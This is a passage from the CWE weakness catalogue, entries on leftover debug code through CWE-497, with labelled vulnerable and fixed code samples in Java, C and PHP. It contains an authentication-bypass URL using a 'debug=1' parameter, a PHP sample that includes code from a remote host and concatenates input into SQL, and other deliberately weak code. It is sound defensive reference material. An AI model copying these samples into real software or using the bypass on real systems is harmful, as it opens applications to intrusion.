Debug code can be used to bypass authentication. For example, suppose an application has a login script that receives a username and a password. Assume also that a third, optional, parameter, called "debug", is interpreted by the script as requesting a switch to debug mode, and that when this parameter is given the username and password are not checked. In such a case, it is very simple to bypass the authentication process if the special behavior of the application regarding the debug parameter is known. In a case where the form is:

#### HTML Example:

*Bad Code*

```
<FORM ACTION="/authenticate_login.cgi">
  <INPUT TYPE=TEXT name=username>
  <INPUT TYPE=PASSWORD name=password>
  <INPUT TYPE=SUBMIT>
</FORM>
```

Then a conforming link will look like:

```
http://TARGET/authenticate_login.cgi?username=...&password=...
```

An attacker can change this to:

*Attack*

```
http://TARGET/authenticate_login.cgi?username=&password=&debug=1
```

Which will grant the attacker access to the site, bypassing the authentication process.

### Potential Mitigations

#### Build and Compilation

#### Distribution

Remove debug code before deploying the application.

### Other Notes

In J2EE a main method may be a good indicator that debug code has been left in the application, although there may not be any direct security impact.

### Relationships

Nature	Type	ID	Name		Page
ChildOf		485	Insufficient Encapsulation	<input checked="" type="checkbox"/>	699 819

Nature	Type	ID	Name	V	Page
				<b>700</b>	
				<b>1000</b>	
ChildOf	<b>C</b>	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	<b>711</b>	1120
ChildOf	<b>C</b>	1002	SFP Secondary Cluster: Unexpected Entry Points	<b>888</b>	1404
MemberOf	<b>V</b>	630	<i>Weaknesses Examined by SAMATE</i>	<b>630</b>	980

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Leftover Debug Code
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management
Software Fault Patterns	SFP28		Unexpected access points

### White Box Definitions

A weakness where code path has a statement that defines an entry point into an application which exposes additional state and control information

## CWE-490: Mobile Code Issues

Category ID: 490 (Category) Status: Draft

### Description

#### Summary

Weaknesses in this category are frequently found in mobile code.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	<b>G</b>	485	Insufficient Encapsulation	699	819
				<b>700</b>	
ChildOf	<b>C</b>	503	Byte/Object Code	<b>699</b>	849
ParentOf	<b>V</b>	491	<i>Public cloneable() Method Without Final ('Object Hijack')</i>	<b>699</b>	826
ParentOf	<b>V</b>	492	<i>Use of Inner Class Containing Sensitive Data</i>	<b>699</b>	827
ParentOf	<b>V</b>	493	<i>Critical Public Variable Without Final Modifier</i>	<b>699</b>	833
ParentOf	<b>B</b>	494	<i>Download of Code Without Integrity Check</i>	<b>699</b>	835
ParentOf	<b>V</b>	582	<i>Array Declared Public, Final, and Static</i>	<b>699</b>	922
ParentOf	<b>V</b>	583	<i>finalize() Method Declared Public</i>	<b>699</b>	923

## CWE-491: Public cloneable() Method Without Final ('Object Hijack')

Weakness ID: 491 (Weakness Variant) Status: Draft

### Description

#### Summary

A class has a cloneable() method that is not declared final, which allows an object to be created without calling the constructor. This can cause the object to be in an unexpected state.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- Java

### Common Consequences

#### Integrity

#### Other

#### Unexpected state

#### Varies by context

### Demonstrative Examples

**Example 1:**

In this example, a public class "BankAccount" implements the cloneable() method which declares "Object clone(string accountnumber)":

**Java Example:**

Bad Code

```
public class BankAccount implements Cloneable{
    public Object clone(String accountnumber) throws
    CloneNotSupportedException
    {
        Object returnMe = new BankAccount(account number);
        ...
    }
}
```

**Example 2:**

In the example below, a clone() method is defined without being declared final.

**Java Example:**






Bad Code

```
protected Object clone() throws CloneNotSupportedException {
    ...
}
```

**Potential Mitigations****Implementation**

Make the cloneable() method final.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		485	Insufficient Encapsulation	<b>700</b>	819
ChildOf		490	Mobile Code Issues	<b>699</b>	826
ChildOf		668	Exposure of Resource to Wrong Sphere	<b>1000</b>	1035
ChildOf		849	CERT Java Secure Coding Section 04 - Object Orientation (OBJ)	<b>844</b>	1293
ChildOf		1002	SFP Secondary Cluster: Unexpected Entry Points	<b>888</b>	1404

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Mobile Code: Object Hijack
CERT Java Secure Coding	OBJ07-J	Sensitive classes must not let themselves be copied
Software Fault Patterns	SFP28	Unexpected access points

**References**

OWASP. "OWASP , Attack Category : Mobile code: object hijack". < [http://www.owasp.org/index.php/Mobile\\_code:\\_object\\_hijack](http://www.owasp.org/index.php/Mobile_code:_object_hijack) >.

**CWE-492: Use of Inner Class Containing Sensitive Data**

Weakness ID: 492 (Weakness Variant)

Status: Draft

**Description****Summary**

Inner classes are translated into classes that are accessible at package scope and may expose code that the programmer intended to keep private to attackers.

**Extended Description**

Inner classes quietly introduce several security concerns because of the way they are translated into Java bytecode. In Java source code, it appears that an inner class can be declared to be accessible only by the enclosing class, but Java bytecode has no concept of an inner class, so the compiler must transform an inner class declaration into a peer class with package level access to the original outer class. More insidiously, since an inner class can access private fields in their enclosing class, once an inner class becomes a peer class in bytecode, the compiler converts private fields accessed by the inner class into protected fields.

**Time of Introduction**

- Implementation

### Applicable Platforms

#### Languages

- Java

### Common Consequences

#### Confidentiality

##### Read application data

"Inner Classes" data confidentiality aspects can often be overcome.

### Likelihood of Exploit

Medium

### Demonstrative Examples

#### Example 1:

The following Java Applet code mistakenly makes use of an inner class.

##### Java Example:

*Bad Code*

```
public final class urlTool extends Applet {
    private final class urlHelper {
        ...
    }
    ...
}
```

#### Example 2:

The following example shows a basic use of inner classes. The class OuterClass contains the private member inner class InnerClass. The private inner class InnerClass includes the method concat that accesses the private member variables of the class OuterClass to output the value of one of the private member variables of the class OuterClass and returns a string that is a concatenation of one of the private member variables of the class OuterClass, the separator input parameter of the method and the private member variable of the class InnerClass.

##### Java Example:

*Bad Code*

```
public class OuterClass {
    // private member variables of OuterClass
    private String memberOne;
    private String memberTwo;
    // constructor of OuterClass
    public OuterClass(String varOne, String varTwo) {
        this.memberOne = varOne;
        this.memberTwo = varTwo;
    }
    // InnerClass is a member inner class of OuterClass
    private class InnerClass {
        private String innerMemberOne;
        public InnerClass(String innerVarOne) {
            this.innerMemberOne = innerVarOne;
        }
        public String concat(String separator) {
            // InnerClass has access to private member variables of OuterClass
            System.out.println("Value of memberOne is: " + memberOne);
            return OuterClass.this.memberTwo + separator + this.innerMemberOne;
        }
    }
}
```

Although this is an acceptable use of inner classes it demonstrates one of the weaknesses of inner classes that inner classes have complete access to all member variables and methods of the enclosing class even those that are declared private and protected. When inner classes are compiled and translated into Java bytecode the JVM treats the inner class as a peer class with package level access to the enclosing class.

To avoid this weakness of inner classes, consider using either static inner classes, local inner classes, or anonymous inner classes.

The following Java example demonstrates the use of static inner classes using the previous example. The inner class `InnerClass` is declared using the static modifier that signifies that `InnerClass` is a static member of the enclosing class `OuterClass`. By declaring an inner class as a static member of the enclosing class, the inner class can only access other static members and methods of the enclosing class and prevents the inner class from accessing nonstatic member variables and methods of the enclosing class. In this case the inner class `InnerClass` can only access the static member variable `memberTwo` of the enclosing class `OuterClass` but cannot access the nonstatic member variable `memberOne`.

**Java Example:**

Good Code

```
public class OuterClass {
    // private member variables of OuterClass
    private String memberOne;
    private static String memberTwo;
    // constructor of OuterClass
    public OuterClass(String varOne, String varTwo) {
        this.memberOne = varOne;
        this.memberTwo = varTwo;
    }
    // InnerClass is a static inner class of OuterClass
    private static class InnerClass {
        private String innerMemberOne;
        public InnerClass(String innerVarOne) {
            this.innerMemberOne = innerVarOne;
        }
        public String concat(String separator) {
            // InnerClass only has access to static member variables of OuterClass
            return memberTwo + separator + this.innerMemberOne;
        }
    }
}
```

The only limitation with using a static inner class is that as a static member of the enclosing class the inner class does not have a reference to instances of the enclosing class. For many situations this may not be ideal. An alternative is to use a local inner class or an anonymous inner class as shown in the next examples.

**Example 3:**

In the following example the `BankAccount` class contains the private member inner class `InterestAdder` that adds interest to the bank account balance. The `start` method of the `BankAccount` class creates an object of the inner class `InterestAdder`, the `InterestAdder` inner class implements the `ActionListener` interface with the method `actionPerformed`. A `Timer` object created within the `start` method of the `BankAccount` class invokes the `actionPerformed` method of the `InterestAdder` class every 30 days to add the interest to the bank account balance based on the interest rate passed to the `start` method as an input parameter. The inner class `InterestAdder` needs access to the private member variable `balance` of the `BankAccount` class in order to add the interest to the bank account balance.

However as demonstrated in the previous example, because `InterestAdder` is a non-static member inner class of the `BankAccount` class, `InterestAdder` also has access to the private member variables of the `BankAccount` class - including the sensitive data contained in the private member variables for the bank account owner's name, Social Security number, and the bank account number.

**Java Example:**

Bad Code

```
public class BankAccount {
    // private member variables of BankAccount class
    private String accountOwnerName;
    private String accountOwnerSSN;
    private int accountNumber;
    private double balance;
    // constructor for BankAccount class
    public BankAccount(String accountOwnerName, String accountOwnerSSN,
        int accountNumber, double initialBalance, int initialRate)
```



```

{
    this.accountOwnerName = accountOwnerName;
    this.accountOwnerSSN = accountOwnerSSN;
    this.accountNumber = accountNumber;
    this.balance = initialBalance;
    this.start(initialRate);
}
// start method will add interest to balance every 30 days
// creates timer object and interest adding action listener object
public void start(double rate)
{
    ActionListener adder = new InterestAdder(rate);
    Timer t = new Timer(1000 * 3600 * 24 * 30, adder);
    t.start();
}
// InterestAdder is an inner class of BankAccount class
// that implements the ActionListener interface
private class InterestAdder implements ActionListener
{
    private double rate;
    public InterestAdder(double aRate)
    {
        this.rate = aRate;
    }
    public void actionPerformed(ActionEvent event)
    {
        // update interest
        double interest = BankAccount.this.balance * rate / 100;
        BankAccount.this.balance += interest;
    }
}
}
}

```

In the following example the InterestAdder class from the above example is declared locally within the start method of the BankAccount class. As a local inner class InterestAdder has its scope restricted to the method (or enclosing block) where it is declared, in this case only the start method has access to the inner class InterestAdder, no other classes including the enclosing class has knowledge of the inner class outside of the start method. This allows the inner class to access private member variables of the enclosing class but only within the scope of the enclosing method or block.

#### Java Example:

Good Code

```

public class BankAccount {
    // private member variables of BankAccount class
    private String accountOwnerName;
    private String accountOwnerSSN;
    private int accountNumber;
    private double balance;
    // constructor for BankAccount class
    public BankAccount(String accountOwnerName, String accountOwnerSSN,
        int accountNumber, double initialBalance, int initialRate)
    {
        this.accountOwnerName = accountOwnerName;
        this.accountOwnerSSN = accountOwnerSSN;
        this.accountNumber = accountNumber;
        this.balance = initialBalance;
        this.start(initialRate);
    }
    // start method will add interest to balance every 30 days
    // creates timer object and interest adding action listener object
    public void start(final double rate)
    {
        // InterestAdder is a local inner class
        // that implements the ActionListener interface
        class InterestAdder implements ActionListener
        {
            public void actionPerformed(ActionEvent event)
            {

```

```

    // update interest
    double interest = BankAccount.this.balance * rate / 100;
    BankAccount.this.balance += interest;
}
}
ActionListener adder = new InterestAdder();
Timer t = new Timer(1000 * 3600 * 24 * 30, adder);
t.start();
}
}

```

A similar approach would be to use an anonymous inner class as demonstrated in the next example. An anonymous inner class is declared without a name and creates only a single instance of the inner class object. As in the previous example the anonymous inner class has its scope restricted to the start method of the BankAccount class.

#### Java Example:

Good Code

```

public class BankAccount {
    // private member variables of BankAccount class
    private String accountOwnerName;
    private String accountOwnerSSN;
    private int accountNumber;
    private double balance;
    // constructor for BankAccount class
    public BankAccount(String accountOwnerName, String accountOwnerSSN,
        int accountNumber, double initialBalance, int initialRate)
    {
        this.accountOwnerName = accountOwnerName;
        this.accountOwnerSSN = accountOwnerSSN;
        this.accountNumber = accountNumber;
        this.balance = initialBalance;
        this.start(initialRate);
    }
    // start method will add interest to balance every 30 days
    // creates timer object and interest adding action listener object
    public void start(final double rate)
    {
        // anonymous inner class that implements the ActionListener interface
        ActionListener adder = new ActionListener()
        {
            public void actionPerformed(ActionEvent event)
            {
                // update interest
                double interest = BankAccount.this.balance * rate / 100;
                BankAccount.this.balance += interest;
            }
        };
        Timer t = new Timer(1000 * 3600 * 24 * 30, adder);
        t.start();
    }
}

```

#### Example 4:

In the following Java example a simple applet provides the capability for a user to input a URL into a text field and have the URL opened in a new browser window. The applet contains an inner class that is an action listener for the submit button, when the user clicks the submit button the inner class action listener's actionPerformed method will open the URL entered into the text field in a new browser window. As with the previous examples using inner classes in this manner creates a security risk by exposing private variables and methods. Inner classes create an additional security risk with applets as applets are executed on a remote machine through a web browser within the same JVM and therefore may run side-by-side with other potentially malicious code.

Bad Code

```

public class UrlToolApplet extends Applet {
    // private member variables for applet components
    private Label enterUrlLabel;

```

```

private TextField enterUrlTextField;
private Button submitButton;
// init method that adds components to applet
// and creates button listener object
public void init() {
    setLayout(new FlowLayout());
    enterUrlLabel = new Label("Enter URL: ");
    enterUrlTextField = new TextField("", 20);
    submitButton = new Button("Submit");
    add(enterUrlLabel);
    add(enterUrlTextField);
    add(submitButton);
    ActionListener submitButtonListener = new SubmitButtonListener();
    submitButton.addActionListener(submitButtonListener);
}
// button listener inner class for UrlToolApplet class
private class SubmitButtonListener implements ActionListener {
    public void actionPerformed(ActionEvent evt) {
        if (evt.getSource() == submitButton) {
            String urlString = enterUrlTextField.getText();
            URL url = null;
            try {
                url = new URL(urlString);
            } catch (MalformedURLException e) {
                System.err.println("Malformed URL: " + urlString);
            }
            if (url != null) {
                getAppletContext().showDocument(url);
            }
        }
    }
}
}
}
}

```

As with the previous examples a solution to this problem would be to use a static inner class, a local inner class or an anonymous inner class. An alternative solution would be to have the applet implement the action listener rather than using it as an inner class as shown in the following example.

#### Java Example:

*Good Code*

```

public class UrlToolApplet extends Applet implements ActionListener {
    // private member variables for applet components
    private Label enterUrlLabel;
    private TextField enterUrlTextField;
    private Button submitButton;
    // init method that adds components to applet
    public void init() {
        setLayout(new FlowLayout());
        enterUrlLabel = new Label("Enter URL: ");
        enterUrlTextField = new TextField("", 20);
        submitButton = new Button("Submit");
        add(enterUrlLabel);
        add(enterUrlTextField);
        add(submitButton);
        submitButton.addActionListener(this);
    }
    // implementation of actionPerformed method of ActionListener interface
    public void actionPerformed(ActionEvent evt) {
        if (evt.getSource() == submitButton) {
            String urlString = enterUrlTextField.getText();
            URL url = null;
            try {
                url = new URL(urlString);
            } catch (MalformedURLException e) {
                System.err.println("Malformed URL: " + urlString);
            }
            if (url != null) {
                getAppletContext().showDocument(url);
            }
        }
    }
}

```

```

}
}
}
}

```

## Potential Mitigations

### Implementation

Using sealed classes protects object-oriented encapsulation paradigms and therefore protects code from being extended in unforeseen ways.





### Implementation

Inner Classes do not provide security. Warning: Never reduce the security of the object from an outer class, going to an inner class. If an outer class is final or private, ensure that its inner class is private as well.

## Other Notes

Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		485	Insufficient Encapsulation	<b>700</b>	819
ChildOf		490	Mobile Code Issues	<b>699</b>	826
ChildOf		668	Exposure of Resource to Wrong Sphere	<b>1000</b>	1035
ChildOf		849	CERT Java Secure Coding Section 04 - Object Orientation (OBJ)	<b>844</b>	1293
ChildOf		966	SFP Secondary Cluster: Other Exposures	<b>888</b>	1379

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Mobile Code: Use of Inner Class
CLASP		Publicizing of private data when using inner classes
CERT Java Secure Coding	OBJ08-J	Do not expose private members of an outer class from within a nested class

# CWE-493: Critical Public Variable Without Final Modifier

Weakness ID: 493 (*Weakness Variant*)

Status: Draft

## Description

### Summary

The product has a critical public variable that is not final, which allows the variable to be modified to contain unexpected values.

### Extended Description

If a field is non-final and public, it can be changed once the value is set by any function that has access to the class which contains the field. This could lead to a vulnerability if other parts of the program make assumptions about the contents of that field.

## Time of Introduction

- Implementation

## Applicable Platforms

### Languages

- Java
- C++

## Common Consequences

## Integrity

### Modify application data

The object could potentially be tampered with.

## Confidentiality

### Read application data

The object could potentially allow the object to be read.

## Likelihood of Exploit

High

## Demonstrative Examples

### Example 1:

Suppose this WidgetData class is used for an e-commerce web site. The programmer attempts to prevent price-tampering attacks by setting the price of the widget using the constructor.

#### Java Example:

*Bad Code*

```
public final class WidgetData extends Applet {
    public float price;
    ...
    public WidgetData(...) {
        this.price = LookupPrice("MyWidgetType");
    }
}
```

The price field is not final. Even though the value is set by the constructor, it could be modified by anybody that has access to an instance of WidgetData.

### Example 2:

Assume the following code is intended to provide the location of a configuration file that controls execution of the application.

#### C++ Example:

*Bad Code*

```
public string configPath = "/etc/application/config.dat";
```

#### Java Example:

*Bad Code*

```
public String configPath = new String("/etc/application/config.dat");
```

While this field is readable from any function, and thus might allow an information leak of a pathname, a more serious problem is that it can be changed by any function.

## Potential Mitigations

### Implementation




Declare all public fields as final when possible, especially if it is used to maintain internal state of an Applet or of classes used by an Applet. If a field must be public, then perform all appropriate sanity checks before accessing the field from your code.

## Background Details

Mobile code, such as a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.

Final provides security by only allowing non-mutable objects to be changed after being set. However, only objects which are not extended can be made final.

## Relationships

Nature	Type	ID	Name	W	Page
ChildOf		216	Containment Errors (Container Errors)	1000	410
ChildOf		485	Insufficient Encapsulation	700	819
ChildOf		490	Mobile Code Issues	699	826

Nature	Type	ID	Name	✓	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1000	1035
ChildOf		849	CERT Java Secure Coding Section 04 - Object Orientation (OBJ)	844	1293
ChildOf		1002	SFP Secondary Cluster: Unexpected Entry Points	888	1404
ParentOf		500	Public Static Field Not Marked Final	699 1000	845

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Mobile Code: Non-Final Public Field
CLASP		Failure to provide confidentiality for stored data
CERT Java Secure Coding	OBJ10-J	Do not use public static nonfinal variables
Software Fault Patterns	SFP28	Unexpected access points

## CWE-494: Download of Code Without Integrity Check

Weakness ID: 494 (Weakness Base)

Status: Draft

### Description

#### Summary

The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code.

#### Extended Description

An attacker can execute malicious code by compromising the host server, performing DNS spoofing, or modifying the code in transit.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- Language-independent

### Common Consequences

#### Integrity

#### Availability

#### Confidentiality

#### Other

#### Execute unauthorized code or commands

#### Alter execution logic

#### Other

Executing untrusted code could compromise the control flow of the program. The untrusted code could execute attacker-controlled commands, read or modify sensitive resources, or prevent the software from functioning correctly for legitimate users.

### Likelihood of Exploit

Medium

### Detection Methods

#### Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is typically required to find the behavior that triggers the download of code, and to determine whether integrity-checking methods are in use.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

**Black Box**

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as `truss` (Solaris) and `strace` (Linux); system activity monitors such as `FileMon`, `RegMon`, `Process Monitor`, and other `Sysinternals` utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and also sniff the network connection. Trigger features related to product updates or plugin installation, which is likely to force a code download. Monitor when files are downloaded and separately executed, or if they are otherwise read back into the process. Look for evidence of cryptographic library calls that use integrity checking.

**Demonstrative Examples****Example 1:**

This example loads an external class from a local subdirectory.

**Java Example:***Bad Code*

```
URL[] classURLs= new URL[]{
    new URL("file:subdir/")
};
URLClassLoader loader = new URLClassLoader(classURLs);
Class loadedClass = Class.forName("loadMe", true, loader);
```

This code does not ensure that the class loaded is the intended one, for example by verifying the class's checksum. An attacker may be able to modify the class file to execute malicious code.

**Example 2:**

This code includes an external script to get database credentials, then authenticates a user against the database, allowing access to the application.

**PHP Example:***Bad Code*

```
//assume the password is already encrypted, avoiding CWE-312
function authenticate($username,$password){
    include("http://external.example.com/dbInfo.php");
    //dbInfo.php makes $dbhost, $dbuser, $dbpass, $dbname available
    mysql_connect($dbhost, $dbuser, $dbpass) or die ('Error connecting to mysql');
    mysql_select_db($dbname);
    $query = 'Select * from users where username='.$username.' And password='.$password;
    $result = mysql_query($query);
    if(mysql_numrows($result) == 1){
        mysql_close();
        return true;
    }
    else{
        mysql_close();
        return false;
    }
}
```

This code does not verify that the external domain accessed is the intended one. An attacker may somehow cause the external domain name to resolve to an attack server, which would provide the information for a false database. The attacker may then steal the usernames and encrypted passwords from real user login attempts, or simply allow himself to access the application without a real user account.

This example is also vulnerable to a Man in the Middle (CWE-300) attack.

**Observed Examples**

Reference	Description
CVE-2001-1125	anti-virus product does not verify automatic updates for itself.
CVE-2002-0671	VOIP phone downloads applications from web sites without verifying integrity.
CVE-2008-3324	online poker client does not verify authenticity of its own updates.
CVE-2008-3438	OS does not verify authenticity of its own updates.



## Potential Mitigations

### Implementation

Perform proper forward and reverse DNS lookups to detect DNS spoofing.

This is only a partial solution since it will not prevent your code from being modified on the hosting site or in transit.

### Architecture and Design

#### Operation

Encrypt the code with a reliable encryption scheme before transmitting.

This will only be a partial solution, since it will not detect DNS spoofing and it will not prevent your code from being modified on the hosting site.

### Architecture and Design

#### Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Specifially, it may be helpful to use tools or frameworks to perform integrity checking on the transmitted code.

When providing the code that is to be downloaded, such as for automatic updates of the software, then use cryptographic signatures for the code and modify the download clients to verify the signatures. Ensure that the implementation does not contain CWE-295, CWE-320, CWE-347, and related weaknesses.

Use code signing technologies such as Authenticode. See references [R.494.1] [R.494.2] [R.494.3].

### Architecture and Design

#### Operation

#### Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.494.7]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

### Architecture and Design

#### Operation

#### Sandbox or Jail

#### Limited

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.





OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, `java.io.FilePermission` in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

## Relationships

Nature	Type	ID	Name	CVSS	Page
PeerOf		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	1000	131
ChildOf		490	Mobile Code Issues	699	826
ChildOf		669	Incorrect Resource Transfer Between Spheres	1000	1036
ChildOf		752	2009 Top 25 - Risky Resource Management	750	1143

Nature	Type	ID	Name	V	Page
ChildOf	C	802	2010 Top 25 - Risky Resource Management	800	1228
ChildOf	C	859	CERT Java Secure Coding Section 14 - Platform Security (SEC)	844	1297
ChildOf	C	865	2011 Top 25 - Risky Resource Management	900	1309
ChildOf	C	991	SFP Secondary Cluster: Tainted Input to Environment	888	1390
CanFollow	B	79	<i>Improper Neutralization of Input During Web Page Generation</i> 1000 ( <i>'Cross-site Scripting'</i> )	1000	131
MemberOf	V	884	CWE Cross-section	884	1319

### Research Gaps

This is critical for mobile code, but it is likely to become more and more common as developers continue to adopt automated, network-based product distributions and upgrades. Software-as-a-Service (SaaS) might introduce additional subtleties. Common exploitation scenarios may include ad server compromises and bad upgrades.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Invoking untrusted mobile code
CERT Java Secure Coding	SEC06-J	Do not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar
Software Fault Patterns	SFP27	Tainted input to environment

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
184	Software Integrity Attacks	
185	Malicious Software Download	
186	Malicious Software Update	
187	Malicious Automated Software Update	

### References

- Microsoft. "Introduction to Code Signing". < [http://msdn.microsoft.com/en-us/library/ms537361\(VS.85\).aspx](http://msdn.microsoft.com/en-us/library/ms537361(VS.85).aspx) >.
- Microsoft. "Authenticode". < [http://msdn.microsoft.com/en-us/library/ms537359\(v=VS.85\).aspx](http://msdn.microsoft.com/en-us/library/ms537359(v=VS.85).aspx) >.
- Apple. "Code Signing Guide". Apple Developer Connection. 2008-11-19. < [http://developer.apple.com/documentation/Security/Conceptual/CodeSigningGuide/Introduction/chapter\\_1\\_section\\_1.html](http://developer.apple.com/documentation/Security/Conceptual/CodeSigningGuide/Introduction/chapter_1_section_1.html) >.
- Anthony Bellissimo, John Burgess and Kevin Fu. "Secure Software Updates: Disappointments and New Challenges". < <http://prisms.cs.umass.edu/~kevinfu/papers/secureupdates-hotsec06.pdf> >.
- [REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 18: The Sins of Mobile Code." Page 267. McGraw-Hill. 2010.
- Johannes Ullrich. "Top 25 Series - Rank 20 - Download of Code Without Integrity Check". SANS Software Security Institute. 2010-04-05. < <http://blogs.sans.org/appsecstreetfighter/2010/04/05/top-25-series-rank-20-download-code-integrity-check/> >.
- [REF-31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. < <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html> >.

## CWE-495: Private Array-Typed Field Returned From A Public Method

Weakness ID: 495 (Weakness Variant)

Status: Draft

### Description

#### Summary

The product has a method that is declared public, but returns a reference to a private array, which could then be modified in unexpected ways.

#### Time of Introduction

- Implementation

#### Applicable Platforms

## Languages

- C
- C++
- Java
- .NET

## Common Consequences

### Integrity

#### Modify application data

The contents of the array can be modified from outside the intended scope.

## Demonstrative Examples

Here, a public method in a Java class returns a reference to a private array. Given that arrays in Java are mutable, any modifications made to the returned reference would be reflected in the original private array.

### Java Example:

*Bad Code*

```
private String[] colors;
public String[] getColors() {
    return colors;
}
```

## Potential Mitigations

### Implementation

Declare the method private.



### Implementation

Clone the member data and keep an unmodified version of the data private to the object.

### Implementation

Use public setter methods that govern how a member can be modified.

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		485	Insufficient Encapsulation	<b>699</b> <b>700</b> <b>1000</b>	819
ChildOf		963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377
MemberOf	<input checked="" type="checkbox"/>	884	CWE Cross-section	<b>884</b>	1319

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Private Array-Typed Field Returned From A Public Method
Software Fault Patterns	SFP23	Exposed Data

## White Box Definitions

A weakness where code path has a statement that belongs to a public method and returns a reference to a private array field

# CWE-496: Public Data Assigned to Private Array-Typed Field

**Weakness ID:** 496 (*Weakness Variant*)**Status:** Incomplete

## Description

### Summary

Assigning public data to a private array is equivalent to giving public access to the array.

## Time of Introduction

- Implementation

## Applicable Platforms

### Languages

- C
- C++

- Java
- .NET

### Common Consequences

#### Integrity

##### Modify application data

The contents of the array can be modified from outside the intended scope.

### Demonstrative Examples

In the example below, the `setRoles()` method assigns a publically-controllable array to a private field, thus allowing the caller to modify the private array directly by virtue of the fact that arrays in Java are mutable.

#### Java Example:

*Bad Code*





```
private String[] userRoles;
public void setUserRoles(String[] userRoles) {
    this.userRoles = userRoles;
}
```

### Potential Mitigations

#### Implementation

Do not allow objects to modify private members of a class.

### Relationships

Nature	Type	ID	Name		Page
ChildOf		485	Insufficient Encapsulation		699 700 1000 819
ChildOf		994	SFP Secondary Cluster: Tainted Input to Variable		888 1391
MemberOf		884	CWE Cross-section		884 1319

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Public Data Assigned to Private Array-Typed Field
Software Fault Patterns	SFP25	Tainted input to variable

### White Box Definitions

A weakness where code path has a statement that assigns a data item to a private array field and the data item is public

## CWE-497: Exposure of System Data to an Unauthorized Control Sphere

Weakness ID: 497 (*Weakness Variant*)

Status: Incomplete

### Description

#### Summary

Exposing system data or debugging information helps an adversary learn about the system and form an attack plan.

#### Extended Description

An information exposure occurs when system data or debugging information leaves the program through an output stream or logging function that makes it accessible to unauthorized parties. An attacker can also cause errors to occur by submitting unusual requests to the web application. The response to these errors can reveal detailed system information, deny service, cause security mechanisms to fail, and crash the server. An attacker can use error messages that reveal technologies, operating systems, and product versions to tune the attack against known vulnerabilities in these technologies. An application may use diagnostic methods that provide significant implementation details such as stack traces as part of its error handling mechanism.

### Time of Introduction

- Implementation

### Applicable Platforms

## Languages

- All

## Common Consequences

### Confidentiality

### Read application data

## Demonstrative Examples

### Example 1:

The following code prints the path environment variable to the standard error stream:

#### C Example:

*Bad Code*

```
char* path = getenv("PATH");
...
sprintf(stderr, "cannot find exe on path %s\n", path);
```

### Example 2:

The following code prints an exception to the standard error stream:

#### Java Example:

*Bad Code*

```
try {
...
} catch (Exception e) {
    e.printStackTrace();
}
```

*Bad Code*

```
try {
...
} catch (Exception e) {
    Console.WriteLine(e);
}
```

